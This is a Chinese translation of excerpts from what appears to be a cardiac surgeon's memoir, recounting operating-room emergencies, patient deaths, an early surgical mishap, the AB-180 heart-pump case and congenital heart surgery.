　　灌注师把机器推出手术室。在服务下一个病人之前，它还要用几个小时来拆分、清洗、组装和消毒。只有洗手护士还待在原地，接着麻醉护士也进来了，她刚刚在安慰等候室里的下一位病人。两个人摘下口罩，默默站立了片刻。周围所有表面都洒满了黏稠的血液，病人的胸腔也依然敞着，但她们好像都不在意。麻醉护士的手探到手术巾下，握住了病人的手掌。洗手护士从病人脸上拉下浸透鲜血的盖布，把它甩到一边。这时我看见了，那是一名年轻女子。

　　她们从病人的裸体上揭下血淋淋的手术巾。我在心中无声地呐喊：把撑开她胸骨的丑陋牵开器也拿走，让那可怜的心脏回到原来的位置吧！当她们终于撤掉牵开器，她的肋骨缩了回去，那可怜的没有生命的器官重新被盖住。它平躺在那里，空了，败了，上方只有一道可怕的深深裂缝，分开了她两只浮肿的乳房。

　　对讲机依然开着，两名护士交谈起来。

　　“她的孩子怎么办？”一个说。

　　“大概是给人收养吧。她没结婚，父母也在伦敦大轰炸的时候死了，她没有别的亲人了。”一个回答。

　　“她住在什么地方？”

　　“在白教堂一带，可能皇家伦敦医院还不能做心脏手术吧。她在怀孕的时候得了重病，是风湿热。生的时候差点死掉。也许那样倒好呢。”

　　“孩子现在在哪儿？”

　　“大概还在病房，得让护士长来安排了。”

　　“护士长知道她死了吗？”

　　“还不知道，你去告诉她吧。我找人来帮忙把这里收拾一下。”

　　她们的口吻那样平淡无奇。一个年轻女人死了，留下一个孩子举目无亲。再没有爱，也没有温暖，她就这样在手术室里那些缠着管线、泡着鲜血的机器之间永远消失了。我对这一幕准备好了吗？这是我要追求的吗？

　　两名护士生进来清洗遗体。我认出她们是我在周五晚的新生舞会上见过的两个女孩，都来自受人尊敬的私立学校。她们带了一桶肥皂水和几块海绵，开始擦洗她的身体。她们拔掉了血管插管和导尿管，但是看得出还是很害怕那道切口和它下面的东西。切口仍在不停流血。

　　“她动的是什么手术？”和我跳过舞的那个女孩问道。

　　“看样子是心脏手术。”另一个回答，“大概是瓣膜置换术吧。可怜的姑娘，才和我们差不多大。她妈妈肯定伤心坏了。”

　　搬运工来的时候，手术灯已经关掉很久了。太平间的推车（一口装着轮子的铁皮棺材）给拖到手术台边上并排放着。她的四肢已经僵硬，身体被随随便便地拖进这只人肉沙丁鱼罐头，脑袋“砰”的撞了一下，令人心里一揪。然而再也没有什么能伤害她了。我终于不用跟她对视，松了一口气。搬运工在棺材上罩了一块绿色毛毯，让它看起来像是一部普通推车。他们走了，去把她锁进冰柜。她的孩子再也见不到她，也永远不会有妈妈了。

　　欢迎来到心脏外科的世界。

　　我在之后的职业生涯里常常思考这个问题，当时我的兴趣转向了心脏外科中的一个艰难领域：给心脏有复杂先天畸形的婴儿和幼儿做手术。有的小患者还在蹒跚学步，他们开开心心来到医院，一只手抱着泰迪熊，另一只手牵着妈妈。他们嘴唇发紫，小胸脯不停起伏，血液黏稠得就像糖浆。他们从来不知道健康的生活是什么样子，而我的任务就是努力给他们健康。我要让他们拥有粉红的皮肤、充沛的精力，将他们从迫近的厄运中解放出来。我诚心诚意做着这件事，但有时也会失败。那时我该怎么做？和哭泣的父母一起坐在黑暗的太平间，握着一只没有生命的冰冷小手，责备自己不该冒这个险吗？

　　心脏手术都有风险。既然做了外科医生，就要一意前行，决不回望。一台手术做完，就接着治疗下一个病人，我们总是期盼更好的结果，从不怀疑。

　　勇气就是做你害怕的事。如果你不害怕，就谈不上勇气。

　　——爱德华·V。里肯巴克，《纽约时报》，1963 年 11 月 24 日

　　我十六岁那年在炼钢厂找了份工作，学校放假时就去上班。但是，一次卸料车和拉铁水的柴油火车相撞之后，他们就解雇了我。我发现医院在招临时搬运工，就争取到了一份手术室里的搬运工作。手术室里分成几个完全不同的群体，每一个都需要好好对待。病人们穿着病号服，为准备手术而禁食，战战兢兢，缺乏尊严。对待他们就要和蔼友善，安慰尊重。年轻护士友好风趣。年资较高的护士自大专横，公事公办，对我的要求是闭嘴听话。麻醉医生不喜欢等别人。外科医生态度傲慢，眼里根本看不到我，至少起先是这样的。

　　后来，我哄一个老太太病理学家让我旁观了尸检过程。虽然我之前就见过病人被手术弄得面目全非，或者遭受可怕的重创，但是一开始旁观尸检还是令我不太适应：一具具年轻的年老的尸体从喉咙切到耻骨，内脏掏空，头皮从左耳切到右耳，拉下来盖住面部，就像一只只剥了皮的橘子。一把振动骨锯锯开颅骨，仿佛敲破一只煮熟的鸡蛋。接着，一个完整的人脑就暴露在我的眼前。这一团柔软的、灰色的、布满褶皱的东西，它是怎么支配我们人生的呢？这样颤巍巍的一团胶体，外科医生又到底是怎么给它动手术的呢？

　　我在那间昏暗荒凉的解剖室学到了许多东西：我明白了人的身体是何等复杂，生与死的界限是何等微妙，病理学家的内心又是何等的冷静超然。病理学是容不下感伤的。他们对死者或许有一丝同情，但对尸体的亲近是绝对没有的。我却在心里替来这里的年轻人难过：那些婴幼儿和少男少女，有的得了癌症，有的心脏畸形，他们有的注定要度过短暂而痛苦的一生，有的因为一场悲惨的事故而突然丧命。看见一颗心脏，你要忘记它是爱和奉献的源泉；看见一个脑子，你也不要把它视为灵魂的容器。忘记这些，统统切开。

　　在所有死因里，我觉得自杀是最令人伤心的。我把这个感想说给老太太听，她叫我“要做外科就要克服这种想法”，还说等我到了可以喝酒的年龄，心里就不会这么沉重了。我注意到酒精是外科医生放松消遣的首选之一，这一点在他们夜间急诊的时候尤其明显。

　　面试官是两位杰出的研究员，面试地点是一间四壁镶着橡木的书房，窗外就是学院里最大的方院。我们都在磨得很旧的皮革扶手椅上坐下。面试氛围相当轻松，没有人谈到我的出身。我满以为他们要问我“为什么想学医”，结果根本没问，我白准备了。他们倒是问了我为什么美国在不久前入侵越南，有没有听说美国士兵可能患上什么热带病。我不知道越南有没有疟疾，于是答了“梅毒”。

　　他已经当了一年医生，总共看了两个病人……不对，好像是三个。对，是三个。他们的葬礼我都去了。

　　——马克·吐温

　　医院给我分配了两位导师，一位是马蒂亚斯·帕内特（Matthias Paneth）先生，他是个仪表堂堂的德国人，身高一米九八；另一位是克里斯托弗·林肯（Christopher Lincoln）先生，新上任的小儿心脏外科医生，身高与帕内特相当。初见面时，我觉得这两人的性格截然不同，但各有各的可怕之处，直到比较熟悉了才不再害怕。在查令十字医院做住院医师的那段脚不沾地的日子里，我明白了一件事：要跟上医生的节奏，就必须把一切都写下来。医生说出的每一条命令或要求，都要原原本本地记录。一旦忘记什么，就有大麻烦了。于是，我不论走到哪里都带着一块笔记板。这让帕内特先生忍俊不禁，他后来总喜欢问我：“韦斯塔比，这个你记下了吗？韦斯塔比，那个你记下了吗？”

　　老太太躺在手术台上。洗手护士已经用碘酒给她消了毒，用几张湖绿色的亚麻手术巾盖住了她的裸体，现在正不耐烦地在大理石地板上踢踏她的手术鞋。任劳任怨的麻醉医生英格利希大夫（Dr. English）和主灌注师正在麻醉机旁下象棋。我看出大家都已经等候了一段时间，于是戴上口罩，迅速刷手上台。想到自己的技术终于能够发挥，我实在有些跃跃欲试。

　　我仔细确定了两处解剖标志——脖颈底部的胸骨上窝和胸骨最下方的剑突。从上到下笔直一划，就能将两者精心地连成一线——这就是此次的手术切口。老太太因为心力衰竭，显得瘦弱憔悴。她的皮肤和骨骼之间已经没有多少脂肪，不用电刀也能切开。另外那名外科助理医师这时还没到场，我不等他了，直接开始手术。我想叫护士们对我刮目相看。

　　我拿起振动骨锯试了试，“嗡嗡”几下，听声音够锋利的。于是我大着胆子用它锯开脖颈下方的骨头。灾难发生了：切口中央先是溅出一点带血丝的骨髓，接着就忽然涌出大量暗红色的血液。坏了！我瞬间惊出一身汗。护士长看出情况不对，迅速绕到第一助手的位置。我抓起吸引器准备吸血，但她已经开始下令了：“压住出血点！”

　　英格利希大夫从棋盘上缓缓抬起头来，对眼前的忙乱好像无动于衷。“给我拿一单位血。”他平静地吩咐麻醉护士，“再给门诊部的帕内特先生打个电话。”

　　我知道问题出在哪了：是骨锯撕开了右心室。但怎么会呢？按说胸骨后面有一片组织间隙，心脏周围的心包里还有一些液体，骨锯应该碰不到心脏才对。护士长看透了我的想法——之后的六个月里，她还要看透许多次。“你知道吧，这是再次手术。”她这表面是在陈述，其实却在询问。

　　“不，我当然不知道！”我暴躁地答道，“上次的倒霉切口在哪儿啊！”

　　“上次做的是闭式二尖瓣扩张术，切口在胸部侧面，在乳房下面就能看见。帕内特先生没有告诉你吗？”

　　到这个当口，我已经决定闭嘴了。现在要紧的是行动，不是推卸责任。

　　再次手术时，心脏和它周围的组织会因为炎性粘连而接合在一起，心脏和它周围的心包之间也就没有了间隙。比如这个病例，老太太的右心室是贴在胸骨的内表面上的，一切都糊在了一起。更糟的是，她的二尖瓣因为风湿而变得很窄，导致肺动脉压力升高，右心室扩张。这台手术的目的是换掉病变的二尖瓣，而我却一开始就搞砸了。真有我的！

　　按压没有控制住出血。血液依然从胸骨后面大量涌出，而这时胸骨还没有完全锯开呢。病人的血压开始下降，她是位矮小的女士，没有多少血可流。英格利希大夫开始给她输血，但并没有解决问题。这就好比往排水管里补水，刚刚输进去就流走了。我是外科医生，止血是我的责任，而想要止血，我就必须看到出血点才行。

　　我的汗水滴进了病人的伤口，也沿着我的双腿流进布罗克勋爵的靴子。老太太的血没过手术巾，滴到靴子的白色橡胶上。一名巡回护士已经刷手上台，协助我们。这时的我已经不再胆大，我再次举起骨锯，叫护士长把手拿开。我瞄准脖子下方，对着胸骨还连在一起的最厚的部分，在一片血泊中锯了下去。接着，我们再次按住出血的部位，英格利希大夫也不停输血，血压终于回升了一些。

　　当血压下降时，出血的速度也随之变慢。我抓住这个机会，把心脏与胸骨内表面充分分离，然后塞进一只金属的胸骨牵开器，把胸腔撑开来。这下我终于看清楚了：撕裂的右心室正在从伤口喷出里面的血液。当一切都像这样粘成一团时，骨骼切开的边缘就会在心肌上划出大口子，有时还会造成不可挽回的后果。算我走运，她的心脏还没有完全撕裂——不过也差不多了。

　　这时我自己的心脏也在咚咚直跳。我看出了问题所在：右心室的游离壁上有一条参差不齐的伤口，长 5 厘米，幸好离主要的冠状动脉还有一段距离。当我打开牵开器，护士长本能地用拳头压在了伤口上，血终于止住了。英格利希大夫又通过输液管补充了一单位血，老太太的血压回升到 80 毫米汞柱。待命的洗手护士分开了连接心肺机的几根长塑料管，好让我们随时使用。不过现在心脏暴露得不多，还没到用的时候。我最紧迫的任务还是缝合出血的伤口。作为外科住院医师，我缝合过皮肤、血管和肠胃，就是没缝过心脏。

　　护士长告诉我应该用什么缝合线，还说最好来回多缝几道，不要一道一道地缝，因为这样速度较快，缝合效果也比较好。“结不要打得太紧。”她补充说，“要不然线会切进肌肉里。她身子弱，下手要轻。现在开始缝合，或许还能赶在帕内特到这儿把你的脑袋拧下来之前缝好。”

　　病人的心脏每跳动一次，都有血液从右心室涌出，要精确缝合实在不容易。眼下我的手套外面已经在淌血，里面也被汗浸湿了。在这种状态下缝合几乎是不可能的。

　　英格利希大夫见状大声说道：“用纤颤器！让心脏停跳两分钟！”

　　纤颤器是一种电气设备，它能引起我们在正常情况下绝对不想见到的现象：心室纤维性颤动——心脏不再泵血，而是一味颤抖，无法在正常体温下向脑部输送血液。心室纤颤超过四分钟，脑就会开始受损。

　　英格利希大夫向我保证道：“只要在两分钟后再为她除颤就行了。如果到时候还没缝好，我们就等两分钟，然后再让她室颤一次。”

　　我感觉自己仿佛成了一具提线木偶，正由几名老练的艺人操纵着。我觉得他的建议挺有道理，于是将纤颤器的电极放到我能看见的那块心肌上面，英格利希大夫接着打开了开关。心脏随即停跳，开始颤抖起来。我随即以最快的速度缝合。就在这时，帕内特先生出现在了手术室门口。他在心脏监护仪上看见室颤，立刻想到了最坏的情况。但是我没分心，继续埋头缝合。到英格利希大夫宣布两分钟已到的时候，我已经快要把伤口两边的肌肉拼接起来了。我继续工作到了第三分钟，终于伤口闭合，再打个结就完成了。

　　我把除颤器的电极板放到尽可能靠近病人心脏的位置，说了声“开始除颤”。没有动静——原来电极板还没有接到机器上，一个小失误。滴答声中，时间一秒秒过去。终于，我的耳边传来了期待的“呲啦”一声。心脏静止了一小会儿，接着再次纤颤起来。

　　帕内特大步走了进来，他身上还穿着讲究的休闲装和户外鞋，手术帽和口罩之类的一概没有。他看了看手术巾下那块颤抖的心肌，然后提出了一条显而易见的建议：“加大电压！”又是“呲啦”一声，室颤消失了，心脏有力地跳动起来。

　　帕内特咧嘴一笑，然后问我：“有什么要汇报的吗，韦斯塔比？你应该知道二尖瓣不在右心室吧？我还以为你挺聪明的呢。”说完他冲护士长挤了挤眼睛，然后向众人宣布他要喝下午茶去了，别让韦斯塔比胡来。

　　我定了定神，判断了一下形势，然后打上了最后一个结。虽然经过我一番折腾，这颗心脏看样子仍在正常工作。血到处都是，在我的手术衣上，在布罗克勋爵的靴子上，大理石地板上也积了一汪。好在病人的血压已经正常。今天的仗我们打赢了。

　　我望向护士长，只看到口罩上方那对冷静的蓝色眼睛。我伸过手去握她那双沾满鲜血的橡胶手套，感谢她救了病人，也救了我。到帕内特先生来接手的时候，已经好像什么都没有发生过一样，他只对心脏正面多缝的几针开了几个玩笑。我很想对他怒吼：“你他妈的怎么不告诉我这是再次手术？！”接着我意识到，大概他不记得了，毕竟他在门诊看这位病人是在好几个月以前。

　　剩下的步骤进行得很顺利。英格利希大夫和灌注师继续下棋，我举着吸引器吸血，帕内特切下畸形的二尖瓣，换上一片结构玲珑的人工瓣膜，又缝了许多针。

　　外科住院医师的活是干不完的。那天夜里我一直坐在重症监护病房，等着老太太恢复意识。我一边拼命祈祷她的脑部没有受伤，一边寻思她白天要是因为出血过多死在手术台上，我会有什么感受。我会有勇气继续求学吗？我的外科生涯会不会在这一天结束？从成为英雄到一无所有，两者间只有一条极细的分界线。但我总算是熬过来了。现在我只想要她快点醒来。

　　老太太张开了眼睛。我浑身一阵轻松。她的丈夫女儿都一下站了起来，好让她直视天花板时能看见自己——因为插了呼吸管，她还只能仰面平躺。他们伸出手，去握她的手。那一刻我明白了一件事：对我来说，心脏手术或许会成为每天的工作；但对病人和家属来说，这是一生才有一次的事，是一场惊心动魄的历险。做医生一定要善待病人。

　　反正已经睡不着觉，我干脆坐在儿科重症监护病房喝起了咖啡。我一边和那里的护士们闲聊，一边看着一个个小人躺在舒适的培养箱里，在这个圣诞夜努力求生。我们这些外科见习医生个个长期睡眠不足，不过说老实话，睡觉也没多大意思，那是我们偶尔周末放假时才做的事。我们都是对肾上腺素上瘾的人，始终亢奋，始终渴望行动。从流血的病人到停搏的心脏，从手术室到重症监护病房，从酒馆到派对，这就是我们的生活。

　　我在三周后回到了那家儿童医院。当地发起了帮助奥斯林的募捐活动，他们也打算支付我的出诊费用。但是钱对我并不重要。我是一心想帮这个男孩，仿佛他是世界上最重要的孩子。我猜想有数千名越南儿童因为燃烧弹遭受了同样的苦难，但是我没见过他们。我只见过奥斯林，我关心他。红十字儿童医院的医生和护士也关心他。也许整个开普敦都在关心他。当我乘出租车从机场到达市区时，我看到一根根路灯柱上贴着“英国医生飞抵南非挽救贫民窟垂死男孩”的新闻公告牌。仿佛在叫我别有压力。

　　奥斯林一天天恢复，已经能通过脖子里面的白色橡胶管自由呼吸。他还是不能说话，但是移植了新的角膜。在呼吸的同时能够看见，他已经心满意足。这个小家庭搬到了城市外围较好的社会福利住房里，房子很简陋，但很干净，也比以前安全。奥斯林的身体还不稳定，一次胸部感染就会要他的命，因而在手术后的前几个月里，我经常打电话到开普敦去了解他的情况。他恢复得不错，他妈妈在服用抗抑郁药，也好一些了。于是我不再打去电话。

　　十八个月后，我收到红十字儿童医院的一封信。奥斯林在家里死了，谁也不知道究竟是怎么回事。世界上的事，有时就是一滩烂污。

　　我接到一个电话，对方是一家富有声望的沙特心脏中心，服务整个阿拉伯地区的病人。他们的主刀医生请了三个月的病假，他们想找个临时代理，要求能同时做先天性和成人心脏病手术——这种人属于极端珍稀品种。我当时并不在意，但第二天就来了兴趣。三天之后我跳上了飞机。

　　男孩和他年轻的母亲是红十字会在阿曼和也门民主人民共和国的交界处发现的。在炙热的沙漠中，母子俩瘦骨嶙峋，浑身脱水，已经快不行了。看样子是母亲背着儿子穿越了也门的沙漠和群山，疯狂地寻找医学救助。红十字会用直升机将他们送到阿曼首都马斯喀特的一家军队医院，在那里，他们发现她仍在设法为孩子哺乳。她的奶水已经干了，她也没有别的东西喂养儿子。男孩通过静脉输液补充了水分后，开始呼吸困难，诊断结果是心力衰竭。他母亲也因为盆腔感染而严重腹痛，高烧。

　　也门是个法外之地。她在那里受过强暴、虐待和残害。而且她是黑人，不是阿拉伯人。红十字会怀疑她是在索马里遭人绑架，然后被带到亚丁湾对岸卖作奴隶。但是由于一个不寻常的原因，他们也没法确定她的经历：这个女人从不说话，一个字也不说。她也没有显出什么情绪，即使在疼痛中也没有。

　　阿曼的医生看了男孩的胸腔 X 光片，诊断出右位心和心力衰竭，然后就把他转到了我所在的医院。

　　回到手术室。手术刀从左到右沿着他的胸骨划了一道，鲜红的血滴滚落到塑料手术巾上。电刀很快止住了血，它切到白色的骨头，嘶嘶作响，让我想起《现代启示录》里的一句台词：“我最喜欢早晨闻到燃烧弹的气味了。”男孩的胸口升起一缕白烟，显示电凝的功率太大了。我提醒操作员，我们是在给一个孩子做手术，不是选举教皇，麻烦他把电压调低一些。

　　心力衰竭产生的腹水向上顶住了膈膜。我在男孩的腹腔上开了一个小孔，浅黄色的液体像尿液一般涌了出来。吸引器嗡嗡作响，往引流瓶里灌了差不多半升，他的腹部才平伏下去——真是减轻体重的快速方法。骨锯像解开拉链似的锯开了胸骨，骨髓溅出来，一点点落在塑料手术巾上。右侧胸腔打开了，露出一团坚硬、粉红、充满积液的肺部。胸腔里溢出了更多积液，必须要换一个吸引器瓶。这下谁都不再怀疑这个孩子的病情有多严重了。

　　这时我已别无选择，只能向团队其他成员交代 B 方案的内容：我打算把男孩的心脏从胸腔内挖出，放到一只盛满冰块的弯盘上保持冷却，然后在工作台上对它手术。那样我就可以把这东西翻来覆去，随意操弄了。我自认为这是个聪明的想法，但我的动作一定要快。

　　这个过程相当于将一颗供体心脏取出，然后再缝回捐献者体内。我以前做研究时曾经移植过大鼠微小的心脏。这个男孩的心脏虽然结构异常，但体积比那个大多了，应该不成问题。于是我在主动脉上横切一刀，切口就在冠状动脉的起点上方，接着我又切断了主肺动脉。我将这些血管往自己这边拉扯，使心脏背面的左心房顶部暴露相出来。我的手术刀贯穿左右心房，但没有切断那些来自身体和肺的大静脉。接着我把左右心室向上抬起，把大部分心房留在原地。然后，就像对待一颗供体心脏那样，我把这块冷而弛缓的肌肉放到冰块上。

　　手术到这个步骤绝对不能出错，因为一旦手术结束、心脏起搏，这些缝合线就再也无法修改了。两侧心房已经缝合，接着就是缝合主动脉，让血液重新流入冠状动脉。心脏即将重新搏动，我们也可以升高男孩的体温了。现在唯一剩下的就是重新连接男孩的主肺动脉。

　　此时这名重伤病人已经快要死了。他的三尖瓣撕裂了，这是一种罕见的高速减速性损伤，在强制系安全带的英国从未出现过。他的右心室被折断的胸骨扎得粉碎，抵到了后面的脊柱上，导致血压迅速上升，胀破了三尖瓣。现在心脏每次收缩，倒流的血液和顺流的血液几乎一样多，只有很少一部分流到了肺部，加上心包淤血，心脏已无法充满血液。我们把这种情况叫作“心脏压塞”。

　　我看完片子之后立刻做了决定，不必再浪费时间查看病人了：我只要替他打开胸腔，缓解压塞，可能的话再修补他的三尖瓣。我们必须迅速为他连接心肺机，好恢复脑部供血，纠正他那糟透的代谢状态。这时，有人在我身后轻轻说了一句：“别忙，这人是个疯子，他把对方司机给撞死了。”我没说话。判定责任不是我的工作。我大步走回手术室，半路上遇到了正在前往儿科重症监护病房的那一小支队伍。监护仪上的心率快速而有规律，我很放心。这次，那位母亲目光没有躲闪，她在和我擦身而过时伸出了手，我也伸出手和她握了握。

　　我们已经走到了康复和死亡之间的那根细线上。病人的生死取决于专家的手段，取决于我们在之后的每一分钟、他每一次心跳期间的作为，我们必须对各种强力药物做平衡的调配，最大程度上发挥这颗可怜的小心脏的泵血能力。因为长时间连接心肺机，男孩的肺部已经发炎硬化，血液中的氧气含量因此持续下降。他的肾脏也开始衰竭，需要透析疗法：将一根导尿管插进腹腔，然后用浓缩液体让毒物通过他自己的细胞膜析出。我需要一个信得过的人来做帮手——梅奥男。我准备去值班室休息一会儿，那是住院医师睡觉的地方，离重症监护病房有两分钟路程。

　　他很有心。那么，那个女子呢？他们想让我过去和她沟通吗？梅奥男认为这起不到什么作用。整个抢救过程中，她还是守在孩子的小床边上。得知孩子死亡时，她情绪狂乱，失去理智，现在依然十分痛苦。他们把小床抬到了重症监护病房外的一个单间，给她抱着孩子哀悼的私密空间。所有那些导尿管、引流管和起搏电线都要留在原处，等待尸检。我听了很难过：这个没有生命的婴儿，身体的每个口子都伸着塑料管，这样一个孩子，她怎么抱得下去？

　　这就是心脏外科手术。对我是办公室里的又一天，对她却是世界末日。

　　他告诉我，那母亲从房间里失踪了，还带走了死去的孩子。没有人见到或是听到她离开，之后也再没有人见过她。我只说了一声“可恶”。我不想继续这场谈话。我猜想她是趁夜色溜走的，就像她当初逃离也门，但上次带的是一个孩子，这次带走的却是一具没有生命的襁褓。眼下不知道她去了哪里，我为她焦急不已。

　　噩耗传来时，我正在为一例室间隔缺损做缝合。沙特方面的职工来医院上班时发现了他们：两具没有生命的躯体，躺在塔楼底部的一堆破布中间。她从孩子小小的身躯上拔掉了输液管和引流管，然后纵身跃入虚无，到天堂里追赶他去了。眼下他们都被送进阴冷的太平间，在死亡中再也不分离。身为医生，这是百分之两百的死亡率。

　　就像一场考古发掘，重要的线索慢慢浮现出来：她的左耳上方有一处愈合的颅骨骨折伤口，硬脑膜和下面的大脑都受到了破坏。其中就包括大脑皮层上负责说话的布洛卡区。苏格兰人将她柔软的脑子切成薄片，伤口更加显明：它一直延伸到脑的深处，割断了通向舌头的神经。这都是她在索马里遭遇绑架时留下的伤口，她能活下来真是幸运。这伤口也是她始终不曾说话的原因——她能理解语言，却无法反馈。

　　我已经见得够多了。我不想再看她被挖出内脏、生命之血溅在太平间的石板上，我也不想看到她破裂的肝脏和折断的脊椎。她死于内出血，但我记得当时心想，她还是死于致命的头部伤比较仁慈。她最好在索马里就死掉，这样就不必再到也门南部受苦了。我感谢苏格兰人的配合，然后回到手术室里我的那方天地。

　　她是橄榄球队的啦啦队长，人很漂亮，但是看着自己的英雄就要死去，她已无心喝彩。她是眼看他日渐衰弱的，先是失去球队的位置，然后又从大学退学。然而他们耽搁了太久才意识到他的情况是因为疾病，而不是像某些人怀疑的那样因为吸食了消遣性毒品。现在她该怎么办？是扔下他继续求学，还是守在他身边，等待心脏移植这种希望最大的疗法？有时生活像个混蛋，而我们也很少停下来想一想另一面的死亡是什么样子。我想这也是对的，因为想也没什么用。

　　我们像发条一样工作，一言不发。给她插管，然后连心肺机。在每一个关键步骤，我都会握住朱莉的小小心室，有节律地用力捏它，就像从一只西柚里往外挤压果汁。我是在给她做体内心脏按压，好让她的血液继续流向脑部和冠状动脉。眼下这是最重要的任务：先用黏稠的血液里仅剩的一点点氧气保住脑和心脏，至于肠子肚子什么的以后再说。

　　我把家属留在家属室里，自己走了。我听说迈克和胜间田正在唤醒朱莉，她的爸爸妈妈很快就能见到她了。那场面虽然会让他们痛心（她瘦小的身躯连了许多管子和设备），但总好过看她躺在太平间的石板上，脸色苍白，双手冰冷，嘴唇被气管插管擦伤的样子。经验清楚地告诉我，什么都比那样好。

　　护士长德西蕾也去重症监护病房做准备了——解开缠绕的输液管，给机器插上电源，校准监护仪。一点差错都不能有。到今天中午，德西蕾和胜间田就会成为 AB-180 的专家。现在他们还要学着照看这个没有脉搏的女孩。这支团队已经不需要我了，这样也好。我的手机响了。信号很差，但对方的话我听得很明白——是医务主任，叫我去一趟他的办公室。

　　我料到会有这么一出，也知道他不是请我去喝咖啡的。从医生的角度看，医务主任就是医院里的秘密警察。简单说，他们的职责就是确保任何人都不做出任何新鲜有趣的事情。任何可能对医院产生负面影响的活动，都要统统禁止。而我，用法庭术语来说，是个“有前科”的人，是一匹害群之马。

　　他的脸上显出的是雷霆震怒。我怎么胆敢使用没有核准的设备？还有谁知道这件事？伦理委员会知道了吗？我到底想干什么，救活这个年轻的女孩吗？—这些话他一句都没说，但给我的感觉就是这样。

　　我一言不发，只是穿着沾血的手术服坐着，心想：“你还是干点正事吧。”该抛出杀手锏了。我告诉他我没有时间在这里浪费，我要回到病人身边去。临走时他甩给我一句话：“下次再这样，你就走人。”这不禁使我想起小时候老有人威胁，要把我送到一间坏孩子的寄宿学校去。我从来只把这些当耳旁风。

　　我每到手术间歇就跑去看朱莉。她的病床边围满医生，我都看不见她。一位心内科同事正在设法排除血泵的干扰，拍摄一张清晰的心脏超声影像。这些影像引发了巨大的兴趣：看上去她的心室肌肉已经彻底放假，什么都没在做了。它目前状况良好，得到真正的休息，只有一阵阵轻微的抽搐显示还有电流经过。监护仪上那条平线把一些医务人员吓得够呛。

　　第二天，我们为她关掉呼吸机，拔掉气管插管。她的脑看起来很正常，真是奇迹。她已经能和父母对话，尿袋里也有了更多尿液。我看着监护仪上那一条平线，忽然注意到了一件事：她原本规律的心跳，现在变成了没有规律的房颤。这现象本身并不罕见，但是当她的心脏在几下不规律的跳动之后长久停止时，动脉描记线上出现了一个清晰的尖峰信号——这说明在长时间充盈血液之后，她的心脏开始射血了。

　　没过几天，我接到了让我害怕的消息。周六在约翰内斯堡机场打开手机时，我看到胜间田发来一条令人担心的短信：他们认为朱莉的胃部在出血，这原本是一个平常的应激反应，但他们为了血泵的顺利运行使用了抗凝剂，这样一来问题就严重了。不过——这个不过很重要——从超声心动图上判断，她的心脏大为好转。即使将血泵调低，左心室也能产生接近正常的血压。我疑心是类固醇改善了心脏，但同时也引起了胃出血。我需要再了解点情况。

　　我给胜间田回短信：“正在南非，给我来电。”

　　他很快打来电话。“日本的会怎么样？”他问我。

　　“很棒，”我说，“别提二战就行。”接着我抛出了关键的一句：“抗凝剂先不要停。把血泵下调到每分钟一千转，让它运行一个小时。要是一小时后心脏表现正常，就把血泵取出来。”

　　电话那头长长地沉默。我感觉胜间田在心里说了一声“坏了”。最后，我打破沉默：“加油，小胜。你和理查德能行的。把那鬼东西取出来吧。”

　　胜间田的电话是周六一早从牛津打给我的。他放下电话后和理查德回到朱莉的病床边，又给她做了一次超声心动图。他们将血泵调慢，让左心室填充并射出更多血液。他们问朱莉感觉和之前有什么不同，朱莉说她感觉挺好，只想把这东西弄出去。她呼吸不再困难，监护仪上血压也正常。理查德知道，血泵转得越慢，它或者血管被血块堵塞的风险就越高。

　　德西蕾正准备开始输血，问胜间田我在电话上说了什么。

　　“他叫我把血泵取出来，别提二战。”胜间田怯生生地答道：“还有一点，就是取出来之后再通知医务主任办公室。可不能让主任气得中风。”

　　1998 年圣诞节前不久的匹兹堡，参与研究 AB-180 的工程师和研究者鱼贯走入一间会议室，来参加麦戈文医生安排的一个特殊派对。这个派对的由头是什么，事先没人知晓——直到朱莉和她的妹妹走进来的那一刻。大家一下认出了这个“没有脉搏的女孩”——在那次史无前例的手术期间，她的照片一直贴在办公室的布告栏上，她的面孔也曾登上各家媒体的头条。会议室里先是一片沉默，人人都震惊了，随后便爆发出一片响亮的欢呼。朱莉脸一红，乔治握住了她的手。

　　“你能来，是我们所有人最好的圣诞礼物。”他说。

　　他说得没错。公司存活了下来，并且生意兴隆。他们对 AB-180 做了改进，使它不必打开胸腔就能使用。它现在有了一个新的名字，叫“串联心”（Tandem Heart），全世界的心导管室都用它来辅助休克病人。

　　现在二十年快要过去，朱莉依然健康，自己也在一家医院里工作了。我每年圣诞节都盼望着她的家人寄来卡片报平安。愿她长久地健康下去。

　　ALCAPA 是“左冠状动脉异常起源于肺动脉”的简称，以人类的解剖结构之复杂，这也是一种孤立而极其少见的先天性异常。

　　简单地说，就是心血管接错线了。心脏的两支冠状动脉都应该从主动脉起源，并向心肌提供富含氧气的高压血液。它们绝对不可以和肺动脉连接，因为肺动脉里的血液含氧量和血压都很低。如果正常的右冠状动脉和错接的左冠状动脉之间可以长出侧副血管，那么 ALCAPA 患者还可以幸存一段时间。但这还不足以维持通往主要泵血腔室的血流。心肌细胞因为缺氧而死去，代之以瘢痕组织，使患儿反复经历痛苦的心肌梗死。瘢痕组织不断蔓延，导致左心室扩张，然后心脏逐渐衰竭，肺部也被血液阻塞，造成病人呼吸困难、疲惫不堪，就算进食的时候也不会缓解。

　　此时我人在澳洲，刚刚登上回程的飞机，就开始描画柯丝蒂的主动脉、肺动脉和她反常的左冠状动脉的结构。我知道现有的 ALCAPA 手术技术有局限，失败率也很高，于是我趁飞行的时间思考别的手术方案。等到飞机巡航到爪哇上空时，我已经设计好了新的方案。我是最后一个上飞机的，到伦敦时又成了第一个下来的。就在我等待飞机连接空桥、打开舱门的时候，客舱服务总监给我递上一瓶香槟，祝我好运。她轻声说：“我姐姐的孩子就是您动的手术。”世界真小。我谢了她。

　　我请迈克开始注射肾上腺素，告诉灌注师减小心肺机的泵流量，给心脏留一点血。这是手术室的规矩，就像在军队里：对医生同事说话必须请求，对技术人员说话则可以命令。如果你直接对麻醉医生下令，他会叫你闭嘴，然后走开去做别的事。

　　婴儿自身的心脏干细胞能够重新生成心肌并去除纤维组织，这是较早的一条证据。而成人的心脏就不能以同样的方式恢复了。不过，要是我们能够识别并培养出合适的干细胞，让成人的心脏也能做到这一点呢？这能为患有冠状动脉疾病的长期心力衰竭病人送去福音吗？如果早有这技术，我的外公或许就能受益了。我们可以在为病人开展冠状动脉旁路移植术的同时植入这些细胞，或者通过导管将它们注入心脏。我们要使用什么细胞？要去哪里找它们？又该怎么保存，植入？总有一天我会找到答案。

